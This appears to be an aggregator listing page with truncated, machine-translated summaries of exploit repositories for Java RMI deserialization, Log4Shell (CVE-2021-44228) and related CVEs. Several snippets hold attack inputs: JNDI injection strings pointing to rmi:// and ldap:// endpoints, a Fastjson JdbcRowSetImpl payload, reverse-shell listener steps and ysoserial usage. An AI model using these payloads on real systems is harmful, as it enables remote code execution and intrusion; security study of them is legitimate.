CVE-2024-1403

CVE-2024-1403 تجاوز المصادقة في Progress OpenEdge برهان مفهوم لاستغلال Progress OpenEdge CVE-2024-1403. مقال المدونة المزيد من التفاصيل هنا: https://www.horizon3.ai/attack-research/cve-2024-1403-progress-openedge-authentication-bypass-deep-dive الاستخدام يجب عليك توفير نسخك الخاصة من ملفات JAR...

remote-method-guesser

रिमोट मेथड गेसर remote-method-guesser rmg एक Java RMI भेद्यता स्कैनर है और इसका उपयोग Java RMI एंडपॉइंट्स पर सामान्य सुरक्षा कमजोरियों की पहचान और सत्यापन करने के लिए किया जा सकता है।...

CVE-2021-26295

CVE-2021-26295 يمكن لـ CVE-2021-26295 EXP الحصول على شل عكسي بنجاح هذه المقالة والأدوات مخصصة للمشاركة التقنية فقط، ويُحظر استخدامها لأغراض غير قانونية. وإلا، يتحمل المستخدم المسؤولية الكاملة عن أي عواقب. تشغيل أمر تنفيذ EXP 1. بدء الاستماع لـ RMI على المنفذ 9999 على VPS root@kitploit: java -cp...

CVE-2021-44228-Apache-Log4j-Rce

Utilisation : 1. lancer RMIServer 2. lancer Main...

log4shell-rmi-poc

log4shell-rmi-poc إثبات مفهوم لثغرة Log4j CVE-2021-44228 عبر Java-RMI يستخدم Log4j 2.5.7 من spring-boot-starter-log4j2 المتطلبات: تم الاختبار مع Java 8 JDK 1.8.025 وJava 11 JDK 11.0.1 كيفية تشغيل الإثبات 1. استنساخ المستودع: root@kitploit: git clone https://github.com/Labout/log4shell-rmi-poc.git...

CVE-2021-44228-Demo

CVE-2021-44228-Demo مثال على استغلال CVE-2021-44228 لحقن الكود عن بُعد عبر كل من RMI و LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit تشغيل...

CVE-2026-33701-Unsafe-Deserialization-in-OpenTelemetry-Java-Agent-RMI-Instrumentation

CVE-2026-33701 — إلغاء التسلسل غير الآمن في أداة RMI الخاصة بوكيل OpenTelemetry Java الخطورة: حرجة CVSS v4.0: 9.3 الإصدارات المتأثرة: opentelemetry-javaagent 2.26.1 تم التصحيح في: 2.26.1 صدر في 23 مارس 2026 نظرة عامة يُعد OpenTelemetry على الأرجح إطار المراقبة الأكثر انتشارًا في نظام Java البيئي...

log4j-cve-2021-44228

Log4j CVE-2021-44228 и CVE-2021-45046 Требования Используйте уязвимую JDK, например JDK 1.8.0181 Использование Вредоносный сервер Вредоносный сервер разворачивает следующие конечные точки: 1389 LDAP-сервер 1099 RMI-сервер 8081 HTTP-сервер root@kitploit: ./gradlew :malicious-server:bootRun Уязвимо...

remote-method-guesser

Remote Method Guesser remote-method-guesser rmg is a Java RMI vulnerability scanner and can be used to identify and verify common security vulnerabilities on Java RMI endpoints...

CVE-2017-3241-POC

CVE-2017-3241-POC POC لثغرة إلغاء تسلسل Java RMI على الأرجح ستحتاج إلى استخدام JDK 8 لتشغيل هذا الـ POC. فقط انتبه إلى فئة Message في كل من جانب العميل وجانب الخادم. إنهما مختلفتان. وهذا الاختلاف هو المفتاح لفهم هذه الثغرة. الإصلاح الذي نشرته Oracle هو جعل المطور يكوّن قائمة بيضاء/سوداء لإلغاء...

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate يستخدم هذا الإثبات POC Spring / Hibernate، ومع ذلك يمكن استخدام نهج مماثل من rmi - deserialization لتحفيز أي ثغرة في إزالة التسلسل. TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary...

CVE-2021-34371

CVE-2021-34371 استغلال بايثون - Neo4j 3.4.18 - تنفيذ الكود عن بُعد RCE مبني على RMI...

cve_2011_3556

CVE-2011-3556 — إثبات المفهوم PoC إخلاء مسؤولية هذه الأداة هي تطبيق بلغة بايثون 3 لإثبات المفهوم PoC الحالي المُعد بواسطة mihi لإطار Metasploit Framework. المتطلبات الأساسية لاستخدام الوحدة، اتبع التعليمات أدناه ببساطة: root@kitploit: Clone هذا المستودع محليًا. $ git clone...

HPE-iMC-7.3-RMI-Java-Deserialization

ثغرة إلغاء تسلسل سجل RMI جافا في HPE iMC 7.3 تؤدي إلى تنفيذ أوامر عن بعد معرف CVE CVE-2017-5792 الاستغلال الصفحة الرئيسية للبائع: www.hpe.com الإصدار: iMC PLAT v7.3 E0504 Standard تم الاختبار على: Windows Server 2008 R2 Enterprise 64-bit ملاحظة: سيؤدي هذا الدليل الإثباتي PoC إلى تشغيل calc.exe $...

CVE-2021-44228

CVE-2021-44228 أعتقد أن هذا الحديث أكثر فائدة من الناحية العملية بكاءchristophetd/log4shell-vulnerable-app لأنني تحققت من هذا بدافع الفضول والاندفاع فقط، فقد تحتوي بعض النقاط على غموض أو أخطاء. يرجى التعامل مع هذا على مسؤوليتك الخاصة. إنشاء بيئة إعادة الإنتاج من المفترض أن يعمل في بيئة لينكس. 1...

CVE-2018-3245

CVE-2018-3245 الخطوة 1 java -jar ysoserial-cve-2018-3245.jar root@kitploit: Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 تنفيذ الأوامر عن بُعد 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ إصدار غير معروف بين 1.2.24-41...

CVE-2023-26269

CVE-2023-26269: إعداد JMX غير صحيح في Apache James افتراضيًا، يفتح Apache James خدمة JMXRMI تستمع على localhost، المنفذ 9999. نظرًا لأن JMX مُهيأ بشكل غير صحيح ويسمح بالوصول غير المُصادق عليه، يمكن للمهاجم الذي لديه وصول محلي إلى الجهاز الذي يعمل عليه James استخدام «هجوم MLet» لتحميل MBeans عشوائ...

CVE-2021-2394

CVE-2021-2394 POC لـ CVE-2021-2394 إخلاء مسؤولية المشروع مخصص للتعلم فقط، أي عواقب أو خسائر مباشرة أو غير مباشرة ناتجة عن اختبار غير مصرح به تقع على عاتق المستخدم وحده ملاحظات POC يستخدم IIOP لإرسال الحزم، يرجى إضافة التبعيات ذات الصلة تم إصدار تبعيات الإصدار 12.2.1.3.0 في الإصدار يرجى استخدام...

rugmuncher-backend

RMI बैकएंड Repo: git.rugmunch.io/RugMunchMedia/rmi-backend Deploy: /root/backend/ Talos पर Container: rmi-backend Health: http://127.0.0.1:8000/health वर्तमान में अस्वस्थ — Redis होस्ट हल नहीं कर रहा है यह क्या है RMI प्लेटफ़ॉर्म के लिए FastAPI बैकएंड। यह टोकन जोखिम स्कैन, वॉलेट फोरेंसिक, बाजार...